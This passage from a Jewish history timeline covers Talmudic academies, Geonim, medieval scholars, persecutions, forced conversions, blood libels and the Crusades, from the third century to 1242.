administrators. 5180 219 ABBA ARIKA (RAV) (175-247) (Babylon) The word "Rav" means master. He was a student of Judah HaNasi and after his death, he opened the Torah academy at Sura, which became one of the pillars of Babylonian Jewry. At its peak, over 1,200 students studied there. The beginning of the third century saw a rise in Jewish activities and a decline in the supremacy of Israel. The decline was due to the constant despoiling of Israel by the weakened Roman army and the rise of another ruler in Palmyra (ancient city of central Syria), who heavily taxed the inhabitants of Israel, reducing them to poverty. This directly affected support for schools of learning, which soon migrated to quieter, more tolerant, and more affluent shores. Rav was noted for improving moral and intellectual positions through his responsa (ordinances), including a ban on marriage without courtship and forbidding fathers to betroth a daughter without her consent. These responsa came in the form of questions. They became a popular way of maintaining contact with dispersed communities and, in various contexts, they still continue today. 5461 220 END OF THE AGE OF MISHNAIC ERA Was marked by the death of Judah HaNasi. Known as the age of the Tannaim, this age commenced with Hillel the Elder around the beginning of the Common Era. The actual compilation of the Talmud began in 135 in the aftermath of the Bar Kochba revolt, and in response to the fear that the Oral Law may be forgotten. The Mishna itself is a compilation of Oral Law which serves as a second teaching of the Bible. According to rabbinic sources, this Oral Law was given to Moshe at Mt. Sinai and passed down from generation to generation. It is divided into six "orders": Zeraim (Seeds), Mo'ed (Festivals), Nashim (Women), Nezikim (Damages), Kedushim (Holy Matters) and Taharot (Purity). There are a total of 63 tractates. It was compiled in concise Hebrew and was intended to be memorized. The Mishna and the later Talmud (Gemara) served and still serves as a code for regulation of all Jewish life. 5181 247 SAMUEL (Babylon) Samuel became the acknowledged leader of the Jewish community in Babylon. A friend and colleague of Rav, he lived and taught in Nahardea where he was head of the academy. He was also an astronomer who composed a fixed calendar. He did not publish it, however, out of respect for the Patriarchate in Eretz Israel. In monetary and civil matters his rulings were accepted as binding. He also instructed Jews to adopt the laws of whichever land they dwelt in (Dina d'malchuta Dina), thus preparing them for survival in foreign environments. He served for only seven years. 5185 279 RAV AMI AND RAV ASSI (Eretz Israel) Headed the academy of Tiberias at a time when the center of Torah authority was being transferred from Eretz Israel to Babylon. The Judean Amoraim subordinated themselves to their Babylonian colleagues. 5188 345 ST. JOHN CHRYSOSTOM, PATRIARCH OF CONSTANTINOPLE Referred to in Catholic literature as "the man with the golden tongue". A virulent hater of Judaism, he disseminated his views through violent writings and preachings. He considered it meritorious to kill Jews. 5202 418 MINORCA (Balearic Islands off Spain's eastern coast) Severus, the bishop of Minorca, claimed to have forced 540 Jews to accept Christianity upon conquering the Island. This is the first we know of Jews on this Island as well as the first case of Jews being forced to convert or face expulsion. Although in general forced conversions (as laid down by Pope Gregory I) were officially frowned upon, they were considered valid - and backsliding was usually considered heresy. Harsher "no choice" forced conversions began in the 9th century. 5218 442 JOSE (MOSES OF CRETE) Proclaimed himself the new Moses and predicted that on a certain day the sea would open and the Jewish people would walk on dry land to Eretz Israel. On the given day he and many of his followers dutifully jumped off a low cliff into the sea. The sea didn't split and he couldn't swim. Rav Ashi cautioned against exaggerated enthusiasm at the imminent coming of the messiah. 5226 500 SABORAIC PERIOD Linked the Amoraic and Geonic periods. Sabara means opinion, hence the opinion makers. The exact dates of this period are in dispute. It probably started with Mar Jose and ended with Mar Isaac. During this time the Talmud was edited and Midrashic literature and liturgical poetry developed. Although the text itself wasn't changed, topics were edited and some, such as sacrifices which were currently not relevant, were de-emphasized. The Saboraim were skillful stylists who produced smoothly flowing presentations. 5236 615 OATH MORE JUDAICO (Italy) The earliest referral (in the Justinian codes) to the Jewish Oath also known as Juramentum Judaeorum. It was originally established by Emperor Justinian 75 years earlier. The idea was based on the concept that no heretic could be believed in court against a Christian. Various methods were used to ensure that the Jew would tell the truth. These included swearing on an opened Torah scroll while standing on a pig skin or while wearing a belt of thorns, or even standing on a stool wearing a "Jews hat." In 1555 the oath became standardized throughout Europe and only was totally abolished in 1914 (Romania). 5272 642 BOSTANI OR BUSTANAI (Persia) The first Exilarch to be recognized by Arab rulers. His birth and much of his life is surrounded by legend. As a token of appreciation, Caliph Ali gave him the daughter of the Persian king Yazdegerd III for a slave. Eventually Bustanai married her. 5295 658 GEONIC AGE (Babylon) The task of the Geonim, was to broaden the study of Talmud and emphasize its practical application. The two great academies, Sura and Pumbedita, once again became the center of Jewish intellectual life. They established their influence by inviting questions (shealot) on Jewish law from far flung communities and sending answers (teshuvot). The exact date for the beginning of this period was probably the Arab conquest of Babylonia in 657, with the first Gaon being Mar Isaac, head of the Sura academy. Others believe that it began around 589 C.E. with Ravai of Pumbedita. The last Goan of prominence was, Hai Gaon, who died in 1038. The title Gaon eventually became used to describe someone who had a great knowledge of Torah. 5298 661 UMAYYAD DYNASTY (Syria) Reigned from Damascus, Syria. This repressive rule failed to unite the Arabs and embittered non-Moslems by their harsh persecutions. The Umayyads were the first to rule after the first four Caliphs which were directly linked to Mohammed. Mu-awiwa was its first Caliph. Depending on the Caliphs the Jews did not fare badly. The Umayyads were overthrown by the Abbasid family, who claimed the right of supreme power. 5299 682 KING ERWIG (Visigoth Spain) Pressed for the "utter extirpation of the pest of the Jews", and made it illegal to practice any Jewish rites. This put further pressure on the Jews to convert or emigrate. 5306 702 DAHRA (Dahiya) AL KAHINA (Southeast Algeria) Jewish "priestess". She led an alliance of Berber tribes which was defeated by Moslem forces. She was said to have lived 127 years and ruled with her 3 sons over the tribe of Jerava for 65 years. 5313 717 LEO III (The Isaurian) (Byzantine Empire) Reigned in Constantinople. After narrowly defeating the Arab army at his gates and preventing the fall of his empire, he decided that the weakness of his empire lay in its heterogeneous population and therefore, in 722, he forcibly converted Jews as well as those known as the "New Christians". Most of them converted outwardly while secretly remaining faithful. 5318 720 SERENE (Babylon) A Syrian Jew promised to recapture the Holy Land. He also urged that the Talmud be abolished. Caliph Yezid, Omar's successor, arrested this "Messiah" and handed him over to the Jews in Pumbedita for punishment. Natronai ben Nehemia (Gaon) urged the Jewish community to readmit their brethren into the fold. They eventually did so, though they were initially reluctant. 5319 737 CAROLINGIAN EMPIRE Lasted until the Treaty of Verdun. The Carolingians were the second dynasty of Frankish rulers after the Merovingians. During the height of its rule it encompassed Gaul, and much of Germany and Italy. The Jews were generally well treated, especially under Charlemagne and his grandson, Charles the Bald. 5321 740 KINGDOM OF KHAZAR The King Bulan converted his people to a vague form of Judaism ("religion of Abraham") after ordering a disputation between the three major monotheistic faiths. Ibn Shaprut, the foreign minister for Abd ar-Rahman of Cordova, corresponded with King Joseph (960). Most of our knowledge of the Khazars is based on these letters. The Khazars were eventually overcome by the Mongols under Genghis Khan. With the spread of Christianity by the Russians, many Khazars were forcibly baptized. The rest fled. Some went into northern Hungary where villages still have names such as Kozar and Kozardie. Tshagataish, the language of the Khazar Jews, is spoken by the few remaining Jewish Krimtchaki of the Crimea. The Khazars' campaign against the Muslims (730-740) succeeded in checking the Muslim advance on the eastern flank of Europe. The Khazars succeeded in defending themselves for 500 years against Muslims, Byzantines and Russians. 5322 756 ABD AR-RAHMAN I (Abd Al-Rahman I) (Spain) An Umayyad caliph, he made Spain independent of Baghdad. His court was open to poets, scientists, and philosophers. At the same time that the influence of Babylon was waning, Spain was becoming the center of Jewish thought. The Umayyad rule in Spain was to last 250 years and provide peace and stability for its inhabitants. 5326 760 RAV JUDAH (Yehudai) GAON OF SURA (Babylon) Also known as Judah the blind. He was one of the leading presenters of the liturgy, or Shliach Tzibbur, and favored the new practice of professional cantorship (hazzanut). He recommended that an ABA (ternary) musical format be used , so that beginning and end of each piece be similar, with some variance in the middle. He also introduced the chanting of Kol Nidre into the synagogue. Yehudai wrote the first work on traditional law since the completion of the Talmud, called Halachot Ketuot as well as Halachot Pesukot. 5328 767 ANAN BEN DAVID (Babylon) Founded the Karaite (Bnai Mikra) sect. He was originally supposed to become the Exilarch, but his younger brother, Hanina, was chosen instead by the incumbent Geonim, Judah the blind and Dudai. Anan left for Eretz Israel where he established a synagogue in Jerusalem. The Karaite sect believed only in literal Biblical translations and not in the Oral law. The Karaites considered themselves mourners of Zion, abstaining from wine and meat, spending much of their time in fasting and prayer, and signing all letters "mourner" (avilai tzion). The Karaite sect divided Judaism into two bitterly opposed camps. Some, including Sa'adia Gaon and Abraham ibn David, wrote treatises refuting and condemning the sect. The Karaites slowly diminished in numbers and influence, with the few remaining mostly living in Lithuania and Volhynia. For the most part they disappeared during the Holocaust. Their greatest opponent - who succeeded in stemming the spread of Karaitism - was Sa'adia ben Joseph (882-942). The power of the Exilarch was weakened as a result of the Anan conflict. From then on the Geonim had the final say on all religious matters. 5330 786 PUENTE CASTRO (near Leon, Spain) One of the oldest tombstones in Spain attests to the existance of a significant Jewish community in northern Spain. "The tomb of Mar (an important title) Jacob bar Rabbi Isaac who was murdered... in his 45th year" was written on it. A number of other tombstones were found in the same area. 5333 800 KHAZARIA Obadiah, the leader or Khaqan of the Khazars, adopted rabbinic Judaism two generations after their conversion. 5339 814 LOUIS THE PIOUS (Carolingian Empire) Charlemagne's son. He succeeded his father as king. He continued and expanded his father's policies toward the Jews. Market day was changed from the Sabbath to Sunday and a Jew, Ebeard, was appointed Magister Judeacrum to protect Jewish rights. 5343 820 ARCHBISHOP AGOBARD (779-840) (Lyon, Carolingian Empire) "Proved" in essays that Jews were born slaves and accursed. Agobard forcibly converted Jewish children, offering them or their parents no choice in the matter. This is the first time in France that such an act was recorded. (Until this time Jews were offered the choice of either converting or being expelled or killed - but there was a "choice"). He also urged the sons (especially Lothair) of Charlemagne's successor, Louis the Pious, to revolt. After the revolt (833) he was disposed, but was later reinstated by Louis. Six of his anti-Semitic essays have survived; which are systematically aimed at humiliating and eradicating the Jewish community. 5345 839 BODO (Alemah, Carolingian Empire) A nobleman converted to Judaism, married a Jewess and moved to Sarargossa, Spain. There he tried to influence his family to convert as well. This strengthened the arguments of Archbishop Agobard and others who were trying to convince King Louis the Pious to return to former medieval anti-Jewish policies. 5352 842 PALTOI BEN ABAYA (Babylon) Is considered the first Gaon of Pumbedita and is credited with increasing its stature. At the request of the Spanish Jewish community, he sent them a copy of the Talmud with explanations. He is also noted for imposing excommunications (cherum), whereby those deemed to have harmed the Jewish people were no longer considered part of the community. (An excommunicated Jew, for example, is not counted for a minyan (quorum) for prayers, nor is he called to the Torah in the synagogue.) Excommunication was considered the most severe form of "civil-religious" punishment and was rarely used. 5355 850 ISAAC BEN SOLOMON ISRAELI (Isaac Judeaus) (North Africa) Court physician to the Fatimite princes and philosopher. Born in Egypt, Israeli emigrated at about the age of 50 to Kairouan. He composed numerous books on medicine including, Sefer HaKadachot (The Book of Fever), Tevei HaMezonot V'Kochotom (The Nature Of Strengths Of Dietetics) and Musar HaRofe'im (The Ethics of Physicians). Those on ophthalmology remained in use for seven hundred years. His books on dietetics and fever were translated into Latin and published in Europe. As a philosopher he was referred to as "the first Jewish Neoplatonist". Among his philosophical writings, his his Sefer HaGedarim, (Book of Definitions) is the best known.rn 5365 892 AL MUTADID (Persia) Was appointed Caliph in Baghdad. Netira, a successful Jewish banker, became the most influential person in the Babylonian Jewish community. Though his offices he succeeded in preventing anti-Jewish riots organized by Ibn abi al-Bagl. In the controversy between Sa'adia Gaon and David ben Zaccai he supported the former (see 882). 5382 913 SHABBETAI (Abraham) DONNOLO (Italy) Earliest Jewish author on medicine. His manuscript, Sepher Hamirkachot (or Sefer Hayakar) (Book of Remedies), is based on vegetarian preparations in the Greek tradition. Despite his reputation, his friend St. Nilus refused to use his medicine lest it be said that a Jew cured him. Donnolo was also a noted astrologer and composed a commentary on the mystical Sepher Yetzirah (Book of Creation) called Tachkemoni in which he discussed the mystical significance of the Hebrew letters as well his reasons against discussing the "image of God". 5388 950 SIMEON BAR ISAAC "THE GREAT" OF MAYENCE (Germany) Community leader, rabbi and paytan (liturgical composer). Simeon was a colleague of Rabbenu Gershom and an expert on customs and prayers. Of his many compositions, his Hashem Melech (The Lord is King) is still recited in the morning prayers of Rosh Hashanah. Some of his prayers contain the name Elhanan (his son), who according to tradition was forcibly baptized, became a priest and eventually (according to one version) the Pope. Years later, upon meeting his father who had come to plead against a harsh decree, he returned to Judaism. 5407 950 VLADIMIR OF KIEV (Russia) Held a debate similar to that held by the Khazars to determine the religion of his kingdom. His decision to convert to Christianity may have been partly to the fact that the Jews lacked political clout. Although Jews had lived in Kiev from probably its actual founding in the 8th century they were not of a significant number. Hilaria, the first native Metropolitan (bishop) feared Jewish influence and wrote a special treatise "Mosaic Law and Truth of Jesus". 5408 960 HASDAI IBN SHAPRUT (Spain) Physician, Inspector-general of customs and an adviser in foreign affairs. When Abd ar-Rahman III of Cordova wrote to Joseph, king of the Khazars, Hasdai described the Umayyad kingdom in Spain and asked questions about the kingdom of the Khazars. 5411 990 JACOB BEN YAKAR (Germany) Rabbi and co-founder of the great Yeshiva Academy of Worms, and the principal teacher of Rashi. Many of the Rabbinical leaders who came out of the academies in Mayence and Worms met their death in the First Crusade and little of their works have survived. 5436 1010 JERUSALEM (Eretz Israel) Caliph al-Hakim of Egypt destroyed the Church of the Holy Sepulcher in Jerusalem. The French Christian "Historian" Raoul Glaber (who had previously recorded that the Jews were the "Habitual ally of the Devil") claimed that the Jews were responsible for this. As a result, Jews were expelled from Limoges and other French towns. 3286 1013 ISAAC ALFASI (Fez, Morocco) Also known as the "RIF", compiled the first codification of Jewish law, entitled Sefer Halachot. It still appears today in every volume of the Talmud. Joseph Caro later used it as a basis for his work. Sefer Halachot was the most important codex until Maimonides' Mishna Torah. Alfasi was 25 years old when Hai Gaon died. He was called Gaon by many authorities and his death marked the very end of the Geonic Period (since 589), although there are others who say that the Geonic Period ended with the death of Hai Gaon (1038). His students included Judah Halevi and Josef ibn Migash. 3294 1021 SOLOMON IBN GABIROL (Avicebron) (Malaga) Messianic poet and philosopher whose "Naale" and other works are included in the Yom Kippur (Day of Atonement) liturgy. His book of philosophy, Fountain of Life (Arabic), conceived of the universe as the embodiment of divine will. The famous medieval theological philosophers John Duns Scotus (1265-1308) and Albertus Magnus (1206-1280), not knowing he was Jewish, used his texts. Most Jewish scholars rejected his theories of neo-Platonism and some, including Maimonides, considered them almost Pantheic. His personal life was harsh: orphaned at an early age, he suffered bitter poverty and deprivation. 3300 1034 DEATH OF SAMUEL BEN CHOFNI (Hofni) (Babylon) Probably the Last Gaon of Sura.A prodigious writer of 65 titles, his works (all in judeo-arabic) included an introduction to the Talmud with 145 chapters a well as a book of Laws. Thus ended the long line founded by Rav almost 800 years previously. Some historians believe that the Sura geonate moved to Egypt and continued there for another few decades. 3307 1035 CASTROJERIZ (Castile, Spain) King Sancho the Great was killed during a revolt. Four officials and sixty Jews were put to death during that revolt, because the locals considered Jews to be "property" of the crown. 3308 1038 DEATH OF HAI GAON (Pumbedita, Babylon) Marked the end of the Geonic period. It also ended because the spread of rabbinical authority throughout Europe and North Africa meant that there was no longer just one center for Jewish thought. Hai Gaon wrote over 100 responsa as well as a civil law codification of the Talmud. Heskiah succeeded him at the Pumbedita academy, but its prestige and importance were on the wane. 3312 1040 SOLOMON BEN ISAAC (Troyes, France) Better known as Rashi. He had studied under the students of Rabbenu Gershom and at the age of 25 became the rabbi in Troyes. Rashi is renowned for his illuminating and succinct commentaries on the Bible and the Talmud, which are still considered indispensable by both Jewish and Christian scholars. Rashi did not hesitate to comment "I don't understand" on Biblical passages which he found perplexing and often paraphrased the words in his native French. His sons-in-law (known as the Tosafists - see 1100) continued with his commentaries, further helping to explain difficult portions of the Talmud. During the First Crusade in 1095-1099, many of Rashi's relatives and friends perished, and some of his manuscripts were destroyed or lost. 3315 1066 GRANADA (Spain) Joseph ibn Nagrela, son of Samuel ibn Nagrela, was murdered. He had served as vizier to Badis, ruler of the Berbers. There had been constant tension between the Berbers and the Arab population which led to a civil war. Joseph attempted to ease the conflict between the two camps and prevent excesses against the local Arabs. His enemies included Abu Ishak, Berber advisor to the prince, who accused him of trying to cede the city to a neighboring prince. Badis ordered Joseph killed and crucified. In the ensuing massacre of the Jewish population 1,500 families were killed, including Joseph's wife and son. A few years later Jews were readmitted to Granada and resumed high offices. 3331 1084 SPEYER (Germany) In an effort to convince Jews to settle in his town the local Bishop Rudiger offered them a legal status superior to what would be offered them elsewhere in Germany. It read, in part: "Desiring to make a city out of our village of Speyer, I have admitted the Jews.....I have thought to multiply one thousand times the honor of our city by gathering the Jews within its walls." He provided them with their own protected area and their own cemetery. In return they paid 3 1/2 pounds silver to the Church and agreed to defend the city. Local rulers were entitled to offer legal "privileges" although for the most part it was in the hands of the emperor. Twelve years later Speyer became one of the first cities ravaged by the Crusades. 3316 1086 JUDAH HALEVI (Spain) Zionist, poet and physician. The author of the Kuzari, a philosophical dialogue between the King of the Khazars and members of the three great monotheistic religions. Among his 800 poems are eighty love poems, three hundred and fifty Diaspora poems and thirty-five songs of Zion. He also practiced medicine in Christian Toledo and used his influence to benefit Jewish refugees. 3342 1089 ABRAHAM IBN EZRA (Cordova, Spain) Poet, mathematician and prolific Biblical commentator. He signaled the end of the classical period in Jewish secular poetry. His commentary on the Pentateuch is based on grammar and philosophical interpretations which strive to give a simple explanation rather then exegesis or homiletic interpretation and is considered the first scientific interpreter of the Bible. An unsuccessful businessman, he wrote of himself: "If I were to take up shroud making, men would stop dying - if I sold candles, the sun would never set." 3344 1090 ELIEZER BEN NATHAN OF MAINZ (RaBaN) (Germany) Rabbi, commentator and historian. Rabbi Eliezer was known as one of the "elders of Mainz". His major work Even ha-Ezer (Stone of Help) is famous not only for its responsa but for the light it sheds on religious practice in Germany and France. As a historian his Kuntres Gezerot Tatnav (Booklet on the Massacres) of 1096 is one of our best sources for its accounts of the Rhineland massacres at the time of the First Crusade. 3350 1095 COUNCIL OF CLAREMONT Pope Urban II summoned Christians to retake the Holy Land from the Moslems, alleging that Moslems destroyed Christian holy places. A combination of religious, economic and social motives resulted in the overwhelming response that became known as the First Crusade, which officially began in August the following year. The Pope formed an army headed by special knights (i.e. Raymond, Godfrey, etc.). A "people's" army also joined, encouraged by Peter the Hermit and other local clerics. There would eventually be a total of eight Crusades, but only the first four were of any real significance. 3354 1095 MOSHE IBN EZRA (Spain) Was forced by Almohad intolerance to leave Granada. The great poet wandered for 4 decades, mourning the great past of Granada. 3355 1096 EMICHO (Emico), COUNT OF LEININGEN (Germany) On his way to join the Crusade led by Peter the Hermit, he attacked the synagogue at Speyer. The Jews defended themselves but were systematically slain. Until this time atrocities in Europe were sporadic. From here on in they became organized and frequent, and Jewish martyrdom began in earnest. (It should be remembered that the atrocities committed by the rampaging crusaders were not always supported by the local burghers and bishops. Furthermore, in many countries - especially the Slavic states - the local Christian community suffered from pillages as well. John, bishop of Speyer even called out his army after 11 Jews were killed in a riot, but he was an exception rather than the rule. Approximately 5,000 Jews were murdered in Germany in 1096.) 3359 1096 MESSIANIC HOPE According to some Jewish commentaries, the Messiah was supposed to arrive in the Hebrew year 4856 - 1095-6. This was derived from Jeremiah 31:6, "Ronu...(sing) the head of the nation". "Ronu" in gematria equals 256, i.e. 256 lunar cycles (19 years each). Thus hopes were raised and then cruelly dashed with little done to prevent the oncoming disaster. 3367 1096 Spring, CRUSADERS (France-Germany) Over one quarter of the Jewish population of Germany and northern France were killed during the First Crusade (1095-1099), mostly during the months of April-June. It was estimated that in Germany, prior to the First Crusade, there were approximately 20,000 Jews. The period of time between Pessach and Shavuot (Passover and Pentecost) is also known as Sefirat Haomer which commemorates the death of Rabbi Akiva's pupils (2nd Century) and was considered a period of mourning. Since most of the massacres took place between these dates, new regulations of national mourning were added. This was also the period of time when the Unetaneh Tokef prayer for Yom Kippur was written by Amnon of Mayence. 3357 1100 HAIFA (Eretz Israel) Jewish residents joined with the Fatimids of Egypt in defending the city. Tancred, who unsuccessfully attacked Haifa, was reprimanded for his lack of success and told that he made "a mockery of the God of the Christians." Once the city fell, the remaining Jews were massacred by the crusading forces. 3373 1100 JACOB BEN MEIR (France) Rabbenu Tam (Rameru, France). Youngest and most famous of the three grandsons of Rashi, and the most renowned of the Tosafists. He also studied Hebrew verse, wrote liturgical prayers and exchanged poems with Ibn Ezra. He convened a council of sages in which 150 Rabbis participated. The council was held in the shadow of the Second Crusade. He lived through and described the Second Crusade and the burning of Jews at Blois, France. His nephew and student, Rabbi Isaac (the Ri), took his place when he died. 3376 1110 ABRAHAM BEN DAVID 'IBN DAUD' (Rabad I) (Spain) Noted philosopher, physician and historian. He believed in defending Judaism, especially against Karaite thinking, by using reason and rationality and not just faith. Ibn Daud's most well known book is the Sefer HaKabbalah (Book of Tradition), in which he puts forth a historical and philosophical defense of Judaism. He traces the passing of Judaic law and the Torah though the Talmud, beginning with the foundation of Judaism and delving into Spanish Jewish history in great detail. Much of our knowledge of this period is due to his work. He is the source of the medieval story of the "Four Rabbis" (see 945) (R. Moses b. Hanokh, R. Shemariah, R. Hushi'el and one whose name isn't known) who were captured by a Moslem captain and sold into slavery in Spain, Cairo, and Kairouan. When ransomed, they created new centers for the study of Torah in Alexandria, Tunisia and Cordova. 3383 1130 ALMOHAD (ara. al-Muwahhidun) DYNASTIES (Spain) A Berber Muslim dynasty which destroyed most of what was left of the Almoravide dynasty by 1147. By 1150 the conquering armies were already in Spain, Algeria and Tunis. Their intolerance led to many Jews fleeing the areas under their control - including the family of Maimonides. 3392 1135 MOSES BEN MAIMON (Maimonides) (Cordova, Spain) Fled from Spain at the age of thirteen after the capture of Cordova by the Al Mohadan fanatics. He became court physician to Saladin of Egypt. He is famed for his "radical" philosophical work on the unity of reason and faith, Guide for the Perplexed, which was heavily criticized in the Jewish world (especially by Franco-German rabbis). Most of the debate, led by Meir ben Todros Abulafia, concerned rational philosophy and its place within faith and belief in God. The anti-Maimonides school, led by Solomon Montpellier and Jonah Gerunda, insisted that all miracles and aggadic interpretations must be taken literally and that any explanation was heresy. They were also concerned that it would be easier to persuade people to give up beliefs based on rational arguments. Maimonides' greatest work was his Mishna Torah, a guide in fourteen sections to Jewish traditions and practices, which was based on the entire Talmud (both the Babylonian and Jerusalem versions). It is written in the purest Hebrew and is referred to simply as the Rambam (his acronym). He was a prodigious correspondent, answering questions from all over the world. His letter to Yemen, Igeret Teiman, written in Arabic, comforted the community during difficult times. In the letter he discussed the relations with Christianity and Islam and encouraged the Jews, from a historical perspective, to be strong. 3397 1135 REIGN OF STEPHEN (England) During his reign there was intermittent civil war between Matilda (Maud), daughter of Henry I, and her cousin Stephen, grandson of the William the Conqueror. In the end, Matilda's son succeeded in becoming King Henry II. The Jews suffered more than the Christians during the war. Stephen indulged in one of the common practices of kings: freeing Christians from the debts owed to Jews in return for the payment of part of the debt to the king. However, he also protected them from the Second Crusade. 3398 1144 FIRST RITUAL MURDER LIBEL (Norwich, England) The first medieval ritual murder libel - which set the pattern for subsequent accusations in England and France - arose against the background of the Civil War. A 12 year old boy, William, was found dead on Easter Eve and the Jews were accused of killing him in a mock crucifixion. They were not, however, accused of using his blood for the making of matzos (matzot), although this would become a standard feature of later libels.(The idea behind the blood libel was to accuse Jews of killing Christians in order to obtain their blood. In almost all cases it was linked to the baking of matzos for Passover - Christians alleged that blood was an essential ingredient in matzos. It was later presumed by scholars that the boy either died during a cataleptic fit or was killed by a sexual pervert. After Easter a synod convened and summoned the Jews to the Church court. The Jews refused on the grounds that only the king had jurisdiction over them and they feared that they would be subjected to "trial by ordeal". William was regarded as a martyred saint and a shrine was erected in his memory. In spite of this episode there was no immediate violence against the Jews. The origins of the ritual murder accusation go as far back to Apion (first century C.E.) an anti-Jewish Greek propagandist who accused the Jews of preparing a human sacrifice in the Temple, who was saved by King Antiochus Epiphanes. Over the years ritual murder libels continued, (even it in popular literature such as Geoffrey Chaucer's "Prioress' Tale") despite denunciations by various popes. Possession of a saint's shrine bestowed great economic benefits on a town because sacred relics drew pilgrims, who spent money on offerings, board and lodging. For bones to be considered sacred relics they had to be killed by a heretic (i.e. a Jew). Such charges were used as an excuse to murder Jews as late as 1900 (Konitz). 3404 1144 LOUIS VII (France) Condemned converted Jews who "relapsed" to death. All professing Jews were not affected. The general "liberal" position towards Judaism in France still continued. 3405 1145 IMAD AD DIN ZANGI (Syria) The Moslem son of a slave, he conquered Aleppo. He fired the Moslems with the idea of a Jihad (holy war) and defeated Falk of Anjou and John Comnenus of Byzantium. The following year, Zangi marched on Edessa, northeast of Antioch, and conquered it. He then brought in 300 Jewish families instead of the Armenians, who were suspected of having supported the Christians. The fall of Antioch was the signal for the start of the Second Crusade. 3407 1158 ABRAHAM IBN EZRA (1089-1164) (England) Scholar and writer, Ibn Ezra visited England for a series of lectures. During his visit he also wrote his Letter of Shabbat and Yesod Mora, which he dedicated to Joseph ben Jacob of London. 3420 1160 DAVID ALROY - FALSE MESSIAH (Persia) Promised to lead the Jews and take Jerusalem from the Crusaders. One evening he told the Jews of Baghdad that they were all going to fly to Jerusalem that night and asked them to give him their property. That night much of the Jewish population stood on their roofs waiting to fly. Alroy was killed, according to Benjamin of Tudela, after one "successful" battle, by his father-in-law, who was allegedly bribed and threatened by the governor of Amaida. Alroy's followers called themselves Menahemites and continued to live in the Azerbaijan area. They eventually faded out of existence. Disraeli's novel Alroy (1833) became a well-known, if fictionalized, version of his life. 3423 1164 DEATH OF ABRAHAM IBN EZRA (see 1089-1164 ABRAHAM IBN EZRA) 3431 1165 FEZ (Morocco) The new Almohad ruler declared that all Jews must convert to Islam. Judah ha-Kohen ibn Shushan was burned alive for refusing to convert. Maimonides fled the country, moving to Egypt. 3429 1168 MAIMONIDES Completed Meor, a commentary on the Mishna. It contained the seeds of Maimonides later philosophical works. 3432 1186 SALADIN TAX (England) A tithe for the Third Crusade. Jews were taxed 10,000 marks or 25% of their income and personal property worth, while Christian (non-Crusaders) were taxed 10% of their property alone. 6312 1188 FREDERICK BARBAROSSA (Germany) Was convinced diplomatically and financially by Moses bar Joseph Hakohen of Mayence, to issue a decree declaring "that anyone who wounds a Jew shall have his arm cut off, he who slays a Jew shall die." This decree succeeded in preventing most of the excesses of the previous crusades in the Third Crusade that was soon to follow. 3457 1189 RICHARD THE LIONHEARTED (England) Was crowned at Westminster. During Richard's coronation (from which Jews and women, seen as possible sorcerers, were banned), Baldwin, the archbishop of Canterbury, convinced Richard not to accept presents from Jewish dignitaries but to turn them out of the palace. The crowds took this to mean that the king favored persecution of the Jews; a pogrom against the Jews in London took place the same day and the following day. Richard was reluctant to begin his reign by overtly protecting the Jews and therefore did not punish the rioters too severely - which encouraged more riots. The rioting soon spread to such commercial centers as Norwich, (Kings) Lynn, Stamford, Lincoln, Bury St Edmunds, and York, as well as to smaller communities throughout the land. In London, 30 Jews were killed including Rabbi Jacob of Orleans, a pupil of Rabbenu Tam. 3459 1210 KING JOHN (England) The brother of Richard the Lionhearted. He imprisoned much of the Jewish population until they paid the enormous sum of 66,000 marks as a tax called a "tallage". This tax could be imposed by any lord on his serfs without special permission, or the king on his Jews as well as the serfs on crown lands. Abraham of Bristol, who refused to pay his "share" (10,000 silver marks) had a tooth pulled every day until he agreed to pay. He lost seven teeth before he was able to raise the funds. 3487 1215 FOURTH LATERAN COUNCIL (Pope Innocent III, 1161-1216) His papacy marked the zenith of papal power. Old anti-Jewish decrees were expanded and Jews were compelled to wear the Yellow Patch - the "Badge of Shame" - to distinguish them from Christians. These decrees were enforced in France, England, Germany and later in Hungary. The Pope also originated the Doctrine of Transubstantion, in which the wafer (Host) and wine in the Eucharist were believed to become the blood and flesh of Jesus. This led to the infamous Host Desecration libels of the next few centuries. 3492 1215 RABBI MEIR BEN BARUCH OF ROTHENBURG (Maharam) (Germany) The last of the Tosafists, he was the leading rabbi in Germany. Convinced that there was no future in Germany, he agreed to lead a large contingent of families to Eretz Israel. While waiting for the other families, he was seized by the Bishop of Basel. The emperor ordered him held in prison as a lesson to any of "his Jews" who might want to leave Germany (thereby causing him a financial loss). He refused to be ransomed, saying that to do so would serve as an impetus for further extortions. He died in a prison near Colmar, and his body was held there until it was ransomed some years later (see 1307). 3493 1231 POPE GREGORY IX Instituted the papal inquisition. The inquisitional court was set up to look into the large scale heresies (i.e. Cathari and Waldenses) which arose during the 11th and 12th centuries. Until that time, most treatment of heretics was dealt with locally, usually by burning. The name "Inquisition" is derived from the Latin verb "inquiro" (inquire into), and at lest at the beginning, inquisitors traveled from town to town looking into individual cases and pronouncing judgment. According to Gregory's decree any heretic who confessed and repented only received imprisonment with penance. The heretic who persisted received capital punishment. The inquisitors - or judges - of this medieval Inquisition were recruited almost exclusively from the Franciscan and Dominican orders. There were three inquisitions. The first started in 1231. The second, which was against Conversos, started in 1478. It was known as the Spanish Inquisition. The third, which started in 1542, was for the most part was against the protestants, and was known as the Roman inquisition. 3509 1235 RITUAL MURDER CHARGE (Fulda, Germany) Resulted in a massacre of 32 Jews. The following year, Emperor Frederick II of Hohenstaufen established an investigation at Hagenau to confirm or disprove the charges. After hearing various experts, including Jewish converts to Christianity, he declared that since Jews are prohibited from eating animal blood, they would surely be banned from using human blood. He forbade anyone to accuse Jews of ritual murder", Privilegium e sententia in favorem iudaeorum . Pope Innocent IV also condemned the accusations as unfounded. 3514 1240 MOSES BEN SHEM TOV LEON (Lyon, France) Publisher and possibly the author of the Zohar, which he attributed to the second century Tanna, Shimon bar Yochai. Written in Aramaic, it flowed with complex symbolism and mythology. It became the major component of the Kabbalah (Jewish mysticism), expounding four steps of biblical interpretation: literal, aggadic, philosophical and Raza de Mehmanuta - secret mystery of faith. 3527 1240 NICHOLAS DONIN (France) A renegade Jew under the patronage of Louis IX. He convinced Pope Gregory IX to confiscate the Talmud on the grounds that it was anti-Christian. A debate ensued with Rabbi Yehiel of Paris and three other Rabbis speaking in defense of the Talmud. Rabbi Yehiel wasn't allowed to counterattack or take the offensive in his argument. 3523 1242 PARIS (France) All copies of the Talmud were confiscated by decree of Pope Gregory IX and King Louis. Declaring that the reason for the stubbornness of the Jews was their study of the Talmud, the Pope called for an investigation of the Talmud that resulted in its condemnation and burning. Twenty-four cartloads of Hebrew manuscripts were publicly 